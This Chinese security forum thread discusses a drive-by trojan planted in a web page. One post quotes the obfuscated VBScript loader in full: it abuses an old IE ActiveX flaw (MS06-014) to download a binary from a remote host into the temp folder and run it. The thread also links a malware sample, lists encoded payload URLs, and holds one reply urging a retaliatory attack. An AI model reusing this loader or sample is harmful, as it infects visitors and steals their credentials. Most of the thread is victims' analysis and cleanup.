怎么才能中木马？浏览网页就ok吗？
我没中，郁闷
利用了ie什么漏洞？

改出来的吧。。

打开就中标了,学艺不精，中了以后才发现。这个文件是病毒体，没做准备不要运行，我重启了一次才删干净。
木马来自:b91K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4N6#2M7%4N6W2K9g2)9J5k6h3y4G2L8g2)9J5c8X3W2Q4x3V1k6A6L8X3c8W2P5q4)9J5k6h3S2@1L8b7`.`.
<script language="VBScript">
    on error resume next
    Set dfile = document.createElement("ob"&QQ67112525ddd&"ject")
    dfile.setAttribute "cla"&Q52fg&"ssid", "clsid:B"&fgQ6725fg&"D96C556-"&fQ6ff&"65A3-11"&fg12525&"D0-983A-"&QQ67112525&"00C04F"&QQ67112525&"C29E36"
    Set http = dfile.CreateObject("Micro"&QQ67112525&"soft.X"&F4sdTRhh&"MLH"&"TTP","")
    a1="Ad"
    a2="odb."
    a3="Str"
    a4="eam"
    set strm = dfile.createobject(a1&QQ67112525&a2&F4sdTRhh&a3&a4,"")
    strm.type = 1
    http.Open "GET", "5c4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4N6#2M7%4N6W2K9g2)9J5k6h3y4G2L8g2)9J5c8X3W2Q4x3V1k6S2k6r3#2A6L8W2)9J5k6h3g2^5k6b7`.`.", False
    http.Send
    f1="Scri"
    f2="pting.Fil"
    f3="eSyst"
    f4="emObject"
    str13=f1&f2&f3&f4
    str12=str13
    set fso = dfile.createobject(str12,"")
    set temp = fso.GetSpecialFolder(2)
    filename= fso.BuildPath(temp,"moi.com")
    strm.open
    strm.write http.responseBody
    strm.savetofile filename,2
    strm.close
    b1="She"
    b2="ll."
    b3="Applic"
    b4="ation"
    set exc = dfile.createobject(b1&QQ67112525&b2&F4sdTRhh&b3&b4,"")
    str4="open"
    exc.ShellExecute filename,"","",str4,0
    </script>

上传的附件：

• moi.rar （27.91kb，4次下载）

看不明白权限是怎么提升的...

已经有人在UUU9的论坛里反映了,现在主页已经清除木马连接,看来只要在看雪发一帖,地球人就都知道了.

偷魔?+QQ的??密瘁。办斤了：

b03K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4V1M7K6p5^5x3#2)9J5k6h3y4G2L8g2)9J5c8Y4q4I4i4K6u0r3L8h3g2A6P5X3W2Q4x3V1k6G2N6g2)9J5k6h3q4K6M7l9`.`.

另外又下了：

0c4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0q4Q4x3X3g2W2P5r3f1`.
0cdK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0u0Q4x3X3g2W2P5r3f1`.
91fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0y4Q4x3X3g2W2P5r3f1`.
041K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0c8Q4x3X3g2W2P5r3f1`.
5a7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0g2Q4x3X3g2W2P5r3f1`.
766K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0k6Q4x3X3g2W2P5r3f1`.
0a8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0N6Q4x3X3g2W2P5r3f1`.
d3aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0S2Q4x3X3g2W2P5r3f1`.
7d9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2W2K9i4A6A6y4K6b7%4x3U0R3K6x3g2)9J5k6h3y4G2L8g2)9J5c8X3E0S2L8X3S2S2K9g2)9J5c8U0t1J5z5g2)9J5c8U0W2Q4x3X3g2W2P5r3f1`.

lz把下面呃一堆也一次重起搞定了？

NBW再写一个病毒分析~

最初由 nbw 发布
偷魔?+QQ的??密瘁。办斤了：

986K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4V1M7K6p5^5x3#2)9J5k6h3y4G2L8g2)9J5c8Y4q4I4i4K6u0r3L8h3g2A6P5X3W2Q4x3V1k6G2N6g2)9J5k6h3q4K6M7l9`.`.

另外又下了：
........

攻击它把,做个自己发送密码的,发送到他的数据库暴掉为止

最初由 nbw 发布
偷魔?+QQ的??密瘁。办斤了：

4dbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4V1M7K6p5^5x3#2)9J5k6h3y4G2L8g2)9J5c8Y4q4I4i4K6u0r3L8h3g2A6P5X3W2Q4x3V1k6G2N6g2)9J5k6h3q4K6M7l9`.`.

另外又下了：
........

当我发现中毒以后立刻断网了,然后在少于10秒内杀掉了它的进程,这段时间内仅仅下了3个文件,还没来得及执行.

驱网页挂马了：
detected: Trojan program Trojan-Downloader.VBS.Small.av        Script: a1fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0T1M7#2)9J5k6h3c8J5K9i4k6W2M7X3c8W2N6X3g2D9L8%4m8Q4x3X3g2U0L8$3#2Q4x3V1k6Q4y4f1t1I4i4K6g2p5

hao!!!!!!!!!!!!!!!

最初由 q3 watcher 发布
当我发现中毒以后立刻断网了,然后在少于10秒内杀掉了它的进程,这段时间内仅仅下了3个文件,还没来得及执行.

病毒?放的dll注入到所有咄程中，自身文件自?除了，?有咄程阿。看?施主中毒钊深啊。

RUNDLL32,此时会使木马客星退出,但不幸的是注入被报警了,要不我咋知道的.之后我检查了所有新建文件,启动,服务,插件,驱动,才确认没问题的.我在学校的机器经常被中木马,我真是不理解,我的机器上又没啥好东西,QQ是垃圾号,游戏帐号里也没钱,未啥老是中毒哪?值得研究.

无耻啊无耻，我远程看了一下，你的确中毒了中毒了r

还是卡巴厉害，附件还没下载就查出来了。
卡巴斯基反病毒6.0
The requested URL http://bbs.pediy.com/attachment.php?s=&attachmentid=3343 is infected with Trojan-PSW.Win32.QQPass.pz virus

原来是这个东西，之前在百度搜索东西，上一个国内网站就中招了，一大堆东西删除不干净，IE缓存和临时目录中都有，删了一边另一边又来了，最后只好ghost之前的windows

nbw确实厉害小弟我好身佩服

强...

最初由 nbw 发布
无耻啊无耻，我远程看了一下，你的确中毒了中毒了r

远程看了一下?怎么看见的?招,是不是你是指导挂的马.

为什么都中病毒呢？
这些都是利用系统的漏洞来下载的！
难道各位都不爱打系统补丁嘛　　　

那个老漏洞了06014据说效果很好